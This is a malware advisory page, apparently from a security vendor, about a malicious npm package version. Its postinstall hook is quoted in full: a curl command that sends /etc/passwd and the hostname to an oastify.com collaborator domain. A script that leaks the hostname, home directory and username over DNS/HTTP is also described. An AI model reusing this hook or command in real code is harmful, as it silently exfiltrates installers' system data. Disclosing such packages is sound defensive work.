Which versions of @easy-entry/outside-registration-fop-navigator are malicious?

The following npm versions of @easy-entry/outside-registration-fop-navigator are flagged malicious: 99.9.5. Treat any of these as compromised.

Is @easy-entry/outside-registration-fop-navigator part of a known attack campaign?

Yes — @easy-entry/outside-registration-fop-navigator is associated with the IN-MAL-2026-005025, IN-MAL-2026-005026 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect @easy-entry/outside-registration-fop-navigator in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking @easy-entry/outside-registration-fop-navigator and packages like it before any post-install script runs.

Malicious package

@easy-entry/outside-registration-fop-navigatornpm

Malicious code in @easy-entry/outside-registration-fop-navigator (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5409

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @easy-entry/outside-registration-fop-navigator

What this malware does

On npm install, package.json's postinstall hook executes node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, sending the installer's /etc/passwd contents and hostname to a Burp Collaborator subdomain. In parallel, scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues a fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking installer host identity through DNS/HTTP to the attacker. Both behaviors fire automatically and unconditionally on default install.

Malicious versions

1 flagged

99.9.5

Indicators of compromise (SHA-256)

04091b4e3c6018586c8ba0c6106ff9177090d0776d1a723d041a76d67b1c8f2b

8f3fde652e3e14c71950b1c929e0be830c9e81c44378a2e625e6e9bfea8ab8f6

Frequently asked questions

No. @easy-entry/outside-registration-fop-navigator on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005025IN-MAL-2026-005026

References

npmjs.com

Credits

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O3 Security blocks malicious packages like this at install time and in CI.

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